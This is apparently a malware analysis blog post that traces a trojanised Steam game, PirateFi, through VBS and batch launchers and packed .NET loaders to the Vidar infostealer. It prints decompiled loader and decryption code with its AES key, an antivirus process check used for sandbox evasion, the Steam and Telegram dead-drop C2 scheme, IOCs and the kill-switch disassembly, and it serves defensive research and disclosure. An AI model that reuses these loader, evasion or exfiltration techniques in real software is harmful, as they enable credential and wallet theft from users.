← ret / Picking Apart PirateFi
← ret

Picking Apart PirateFi: A Trojanised Steam Game

In February 2025, a new game hit the Steam marketplace in beta, titled PirateFi. The free-to-play game was somewhat underwhelming due to the fact that it was uploaded in order to steal victims’ information and hijack user accounts.

The game was taken down from the Steam marketplace, but the change history can be found here: SteamDB Change History

Upon review, Changelist #27351505 caught my eye due to the following line, showing a heavily embedded vbs script being added:

SteamDB changelist 27351505 showing embedded VBS script added to PirateFi game files

This directory within the game files contains several launchers that ultimately execute Pirate.exe.

The directory contains the following files:

Filename Purpose
piratefi.vbs Launches piratefi.bat
piratefi.bat Launches batch2.vbs
batch2.vbs Launches batch2.bat
batch2.bat Launches Pirate.exe
Pirate.exe Main Executable Payload
Pirate Directory
Engine Directory

Pirate.exe

Pirate.exe is an InnoSetup executable, the contents of which can be extracted with the following Binary Refinery pipeline:

ef Pirate.exe [| xt -j | d2p ]

This will produce three directories - data, embedded and meta.

embedded/script.ps is the PowerShell installer script. It’s main purpose is to execute the binary dropped by the installer - Howard.exe. Before doing so, it builds the command cmd.exe /C tasklist /FI "IMAGENAME eq <name>" /FO CSV /NH | find /I "<name>" and searches for the following processes:

Process Product
wrsa.exe Webroot SecureAnywhere
opssvc.exe Quick Heal
avastui.exe Avast
avgui.exe AVG
nswscsvc.exe Norton/Symantec
sophoshealth.exe Sophos

If any of these processes are found, the installer Sleeps for 193 seconds before proceeding, a common sandbox evasion technique.

Howard.exe

I found Howard.exe quite difficult to analyse, but got lucky by setting a breakpoint on VirtualAlloc and identifying an indirect call to the API.

WinDbg breakpoint on VirtualAlloc indirect call in Howard.exe at return address 02BA0000

The return address of the VirtualAlloc call in this case was 02BA0000 - our memory region where a buffer of memory is to be written to.

Setting a memory write breakpoint on this address, we identify a loop where a payload is being written:

WinDbg memory write breakpoint at 02BA0000 showing payload being written in a loop

We can see the full buffer by resuming execution to when the loop completes. Within the memory buffer are the magic bytes of a PE:

WinDbg memory view showing MZ header magic bytes at start of allocated buffer in Howard.exe

To get the next payload, we’ll dump this memory region to disk and carve the PE with the following Binary Refinery pipeline:

ef Howard.exe_memory.bin | carve-pe | dump carved.exe

SmartAssembly

The next-stage payload is an assembly compiled with SmartAssembly. De4dot makes the assembly easier to read, with the Main function as follows:

// Token: 0x060000D1 RID: 209 RVA: 0x00006990 File Offset: 0x00004B90
static void Main() {
    byte[] array = null;
    while (array == null)  {
        try {
            array = Class7.smethod_14();
        } catch {}

    }

    Assembly assembly = Class7.smethod_5(array);
    if (assembly != null)  {
        Type type = Class7.smethod_99("S015sDJkvQDvP3a6cx.UyOmhW05bcEWWnZuqT", assembly);
        if (type != null)  {
            Class7.smethod_26("AHQt3OKaB", type);
        }

    }

}

smethod_14 takes an encrypted resource and AES decrypts it. It is then loaded and the AHQt3OKaB Method from the UyOmhW05bcEWWnZuqT Class from the S015sDJkvQDvP3a6cx Namespace is invoked.

static byte[] smethod_14() {
    byte[] emyrsqaglox = Class1.Emyrsqaglox;
    // return (byte[])Class1.Cazmb.GetObject("Reydbozimwj", Class1.cultureInfo_0);
    byte[] array;
    using (Aes aes = Aes.Create()) {
        aes.KeySize = 256;
        aes.Key = Convert.FromBase64String(Class0.string_0);
        // string_0 = UlPs+RiNkeAQjtjBHi2FZme93GOwtujN9g03qBhA2xM=
        aes.IV = Convert.FromBase64String(Class0.string_1);
        // string_1 = 8VSGg0PMrhcl1gUkFwmUlg==
        ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
        using (MemoryStream memoryStream = new MemoryStream()) {
            using (MemoryStream memoryStream2 = new MemoryStream(emyrsqaglox)) {
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream2, cryptoTransform, CryptoStreamMode.Read)) {
                    cryptoStream.CopyTo(memoryStream);
                    array = memoryStream.ToArray();
                }

            }

        }

    }

    return array;
}

The embedded, encrypted resource can be decrypted with the following Binary Refinery pipeline:

ef Reydbozimwj | aes b64:UlPs+RiNkeAQjtjBHi2FZme93GOwtujN9g03qBhA2xM= -i b64:8VSGg0PMrhcl1gUkFwmUlg== | dump payload.bin

This reveals another assembly, this time protected with .NET Reactor.

Defeating .NET Reactor

Navigating to the invoked method without any deobfuscation reveals an empty function:

public static void AHQt3OKaB()
{
}

So, I’ll run the assembly through .NET Reactor Slayer, but I’ll uncheck the option to deobfuscate method names as I want to be able to easily navigate back to the invoked function.

Deobfuscated Method:

// S015sDJkvQDvP3a6cx.UyOmhW05bcEWWnZuqT
// Token: 0x0600000C RID: 12 RVA: 0x00003744 File Offset: 0x00001944
public static void AHQt3OKaB() {
    byte[] array = W9koEHYFJe2cbrx66DU.arrYByvGYZ(Resources.\uE004);
    using (MemoryStream memoryStream = new MemoryStream(VR8byCY85iHMmkWcA17.cJ7YglW56B(array))) {
        memoryStream.Position = 0L;
        UyOmhW05bcEWWnZuqT.WcVLolyxG(Serializer.Deserialize < G2hIrVIVBvIcoMgDTXd > (memoryStream));
    }

    string fileName = Process.GetCurrentProcess().MainModule.FileName;
    if (!UyOmhW05bcEWWnZuqT.XOvH6LNBw().Af8Ig31OwW.fqBIiaUG95.IWXefBb0wc())  {
        UyOmhW05bcEWWnZuqT.ya6v99WBB(fileName.Remove(fileName.Length  -  4));
    } else {
        UyOmhW05bcEWWnZuqT.ya6v99WBB(fileName);
    }

    FrDsKD89TcS5HRpmUBY.Qa5YncKYGt();
    new hJKfjd8vWo2m5BC6Wpx().l0Q8qruINT();
    ELCTdV8NxKVBikYyuFt.U8P82y4wOo();
    new JRh8eH84MCabEaYmU8A().Kfr8skRuwx();
    new TfSVu48dKmxvm8KEswT().h4U8uTcbdl();
    new RGocen86qh6N7GfwlvA().J8A8ZSQswQ();
    new tG0AJHYIeqKtAmw68dT().Bt5YQ0Q3TF();
    new s32S0o8MuDukiR5uEP1().nMf8SVA1Id();
    new iLAO0m8yYcShq5JETKM().zeu8rn43W3();
    new E9yQoj8YNIcMyXRnPVK().RuM80Cpwnv();
    new aJdpAdeh0RPe9qlWvH7().olpe3i1MNq();
    new M0cC6LIIEmdcvYv8TEE().g2xIQNJLQO();
    new o3aauu8LXkovY1QsImm().zRv8EciZLm();
    new YUBZYteWAfwDi3c3pfN().EWCeeeulAs();
    new OVqCl58Ja3WRt1OtofY().cCG8HjRSQI();
    new zVSXR08PBHganDMYBGO().gus8h2Aere();
    ELCTdV8NxKVBikYyuFt.oKg8xJX5v1();
    try {
        Process.GetCurrentProcess().Kill();
    } catch {}

    throw new Exception();
}

The first line of code shows us that a resource is being given as an argument to the arrYByvGYZ method.

arrYByvGYZ Method:

// Token: 0x060001F5 RID: 501 RVA: 0x00007AE4 File Offset: 0x00005CE4
public static byte[] arrYByvGYZ(byte[] \u0020) {
    byte[] array2;
    using (Aes aes = Aes.Create()) {
        aes.KeySize = 256;
        aes.Key = Convert.FromBase64String(FPtBe5YCL3LqueRW4xM.xLjYwbE09p(12081));
        aes.IV = Convert.FromBase64String(FPtBe5YCL3LqueRW4xM.xLjYwbE09p(12265));
        ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
        using (MemoryStream memoryStream = new MemoryStream()) {
            using (MemoryStream memoryStream2 = new MemoryStream(\u0020)) {
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream2, cryptoTransform, CryptoStreamMode.Read)) {
                    cryptoStream.CopyTo(memoryStream);
                    byte[] array = memoryStream.ToArray();
                    array2 = array;
                }

            }

        }

    }

    return array2;
}

The resource is then decrypted with AES. The Key and IV are encrypted - FPtBe5YCL3LqueRW4xM.xLjYwbE09p is a string lookup routine that utilises a hashtable.

The decrypted resource is then passed to function cJ7YglW56B - which is responsible for decompressing the payload.

// Token: 0x02000077 RID: 119
internal static class VR8byCY85iHMmkWcA17 {
    // Token: 0x060001F8 RID: 504 RVA: 0x00007BE0 File Offset: 0x00005DE0
    public static byte[] cJ7YglW56B(byte[] \u0020) {
        byte[] array3;
        using (MemoryStream memoryStream = new MemoryStream(\u0020)) {
            byte[] array = new byte[4];
            memoryStream.Read(array, 0, 4);
            int num = BitConverter.ToInt32(array, 0);
            using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) {
                byte[] array2 = new byte[num];
                gzipStream.Read(array2, 0, num);
                array3 = array2;
            }

        }

        return array3;
    }

I’m going to debug and set a breakpoint on return array3; so that I can review the decrypted & decompressed payloads being passed through this function.

DNSpy Locals window showing MZ header byte array 4D 5A in decrypted payload at return array3 breakpoint

In the Locals window, we can see an array with an MZ header 4D 5A - This is likely our next payload - we’ll dump this to disk.

I was able to view all decrypted strings by setting a Watch window on the string table as it was loaded:

DNSpy Watch window showing decrypted Vidar string table loaded from hashtable at runtime

Final Payload - Vidar Infostealer

The final payload observed is Vidar Infostealer. Vidar is an infostealer malware operating as malware-as-a-service that was first discovered in the wild in late 2018. This sample has the capability to steal sensitive data from Chromium & Firefox browsers, Cryptocurrency wallets, Steam, Discord, Telegram, Files and Applications such as WinSCP & FileZilla.

Stolen files are staged to C:\ProgramData\<session_id> before being POSTed to the dead-drop C2 domains.

Interesting IOCs

Type Value
Build ID 5a66c55e84f3f678650d4a78841e6451
C2 dead-drop (Telegram) https[://]t[.]me/sok33tn
C2 dead-drop (Steam) https[://]steamcommunity[.]com/profiles/76561199824159981
Campaign tag a110mgz
Internal name vdr1.exe
Mutex/Event approve_april

There’s a Web Archive hit from 14th Feb 2025 showing the configured Steam dead-drop C2: 95.216.180[.]186

Web Archive snapshot from Feb 2025 showing Vidar C2 IP 95.216.180.186 on Steam dead-drop profile

Kill Switch

After reading the C2 response via InternetReadFile, the very next thing the malware does is compare it against the string block:

 0x4032B4 call  sub_40D9F0     ; resolve response string pointer
 0x4032B9 push  offset aBlock    ; push “block” to the stack
 0x4032BE push  eax         ; push response string to the stack
 0x4032BF call  ds:StrCmpCA     ; strcmp(response, “block”)
 0x4032C5 test  eax, eax
 0x4032C7 jz   loc_40338C     ; if equal -> kill
 ...
 0x40338C push  0          ; uExitCode = 0
 0x40338E call  ds:ExitProcess   ; instant termination

The threat actor responsible for this malware as well as malware embedded in other titles is currently under investigation by the FBI. Additionally, the FBI are seeking victim information - FBI Victim Report Form

Conclusion

PirateFi is a trojanised free-to-play Steam game that bundles Vidar Infostealer alongside a legitimate-looking application. The infection chain uses a series of VBS and batch launchers to ultimately execute Pirate.exe, which is a packed loader that decrypts and runs the Vidar payload in memory. Vidar operates as malware-as-a-service and is configured to steal credentials from Chromium and Firefox browsers, cryptocurrency wallets, Steam, Discord, Telegram, and applications such as WinSCP and FileZilla. Stolen data is staged locally before being exfiltrated to C2 addresses retrieved from Steam community profiles and Telegram channels used as dead-drops. A kill switch is implemented by comparing the C2 HTTP response against the string block, terminating execution immediately if matched.